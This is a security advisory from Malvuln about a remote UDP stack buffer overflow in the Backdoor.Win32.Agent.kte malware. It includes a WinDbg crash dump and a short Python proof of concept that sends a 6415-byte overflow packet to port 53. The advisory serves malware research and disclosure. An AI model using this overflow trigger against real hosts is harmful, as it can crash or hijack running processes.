BACKDOOR.WIN32.AGENT.KTE / Remote Stack Buffer Overflow (UDP Datagram)

2021.04.30
us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/7c92e59e776355734781bbf05571d0f0.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Agent.kte Vulnerability: Remote Stack Buffer Overflow (UDP Datagram) Description: The malware drops an executable named "aspimgr.exe" under SysWOW64 dir, which listens on TCP port 80 and UDP port 53. Third-party attackers who can reach the server can send a specially crafted UDP packet to port 53, triggering a classic buffer overflow overwriting ECX and EIP registers. Type: PE32 MD5: 7c92e59e776355734781bbf05571d0f0 Vuln ID: MVID-2021-0195 Dropped files: aspimgr.exe ASLR: False DEP: False Safe SEH: True Disclosure: 04/29/2021 Memory Dump: (190c.19fc): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000 eip=41414141 esp=03131450 ebp=03131470 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:006> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for aspimgr.exe *** ERROR: Module load completed but symbols could not be loaded for aspimgr.exe Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: aspimgr+63f9 004063f9 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] EXCEPTION_RECORD: 0322e124 -- (.exr 0x322e124) ExceptionAddress: 004063f9 (aspimgr+0x000063f9) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 03230000 Attempt to read from address 03230000 PROCESS_NAME: aspimgr.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: aspimgr+63f9 004063f9 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] FAILED_INSTRUCTION_ADDRESS: +63f9 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0322e174 -- (.cxr 0x322e174) eax=0000018d ebx=00000041 ecx=00000001 edx=0000018c esi=0322fffd edi=0322e7a8 eip=004063f9 esp=0322e5d4 ebp=0322ede4 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 aspimgr+0x63f9: 004063f9 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] Resetting default scope FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 0040665f to 004063f9 STACK_TEXT: 0322e5d4 004063f9 aspimgr+0x63f9 0322edec 0040665f aspimgr+0x665f 0322ff44 41414141 unknown!printable+0x0 0322ff48 41414141 unknown!printable+0x0 0322ff4c 41414141 unknown!printable+0x0 0322ff50 41414141 unknown!printable+0x0 0322ff54 41414141 unknown!printable+0x0 0322ff58 41414141 unknown!printable+0x0 0322ff5c 41414141 unknown!printable+0x0 0322ff60 41414141 unknown!printable+0x0 0322ff64 41414141 unknown!printable+0x0 0322ff68 41414141 unknown!printable+0x0 0322ff6c 41414141 unknown!printable+0x0 0322ff70 41414141 unknown!printable+0x0 0322ff74 41414141 unknown!printable+0x0 0322ff78 41414141 unknown!printable+0x0 0322ff7c 41414141 unknown!printable+0x0 0322ff80 41414141 unknown!printable+0x0 0322ff84 41414141 unknown!printable+0x0 0322ff88 41414141 unknown!printable+0x0 0322ff8c 41414141 unknown!printable+0x0 0322ff90 41414141 unknown!printable+0x0 0322ff94 41414141 unknown!printable+0x0 0322ff98 41414141 unknown!printable+0x0 0322ff9c 41414141 unknown!printable+0x0 0322ffa0 41414141 unknown!printable+0x0 0322ffa4 41414141 unknown!printable+0x0 0322ffa8 41414141 unknown!printable+0x0 0322ffac 41414141 unknown!printable+0x0 0322ffb0 41414141 unknown!printable+0x0 0322ffb4 41414141 unknown!printable+0x0 0322ffb8 41414141 unknown!printable+0x0 0322ffbc 41414141 unknown!printable+0x0 0322ffc0 41414141 unknown!printable+0x0 0322ffc4 41414141 unknown!printable+0x0 0322ffc8 41414141 unknown!printable+0x0 0322ffcc 41414141 unknown!printable+0x0 0322ffd0 41414141 unknown!printable+0x0 0322ffd4 41414141 unknown!printable+0x0 0322ffd8 41414141 unknown!printable+0x0 0322ffdc 41414141 unknown!printable+0x0 0322ffe0 41414141 unknown!printable+0x0 0322ffe4 41414141 unknown!printable+0x0 0322ffe8 41414141 unknown!printable+0x0 0322ffec 41414141 unknown!printable+0x0 0322fff0 41414141 unknown!printable+0x0 0322fff4 41414141 unknown!printable+0x0 0322fff8 41414141 unknown!printable+0x0 0322fffc 41414141 unknown!printable+0x0 03230000 41414141 unknown!printable+0x0 STACK_COMMAND: .cxr 000000000322E174 ; kb ; dds 322e5d4 ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: aspimgr+63f9 FOLLOWUP_NAME: MachineOwner MODULE_NAME: aspimgr IMAGE_NAME: aspimgr.exe DEBUG_FLR_IMAGE_TIMESTAMP: 4827e4c0 FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_aspimgr.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_aspimgr+63f9 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=53 def doit(): s=socket(AF_INET, SOCK_DGRAM) s.connect((MALWARE_HOST, PORT)) PBARBAR = "A"*6415 s.send(PBARBAR) s.close() print("Backdoor.Win32.Agent.kte / Remote Stack Buffer Overflow (UDP)") print("MD5: 7c92e59e776355734781bbf05571d0f0") print("Malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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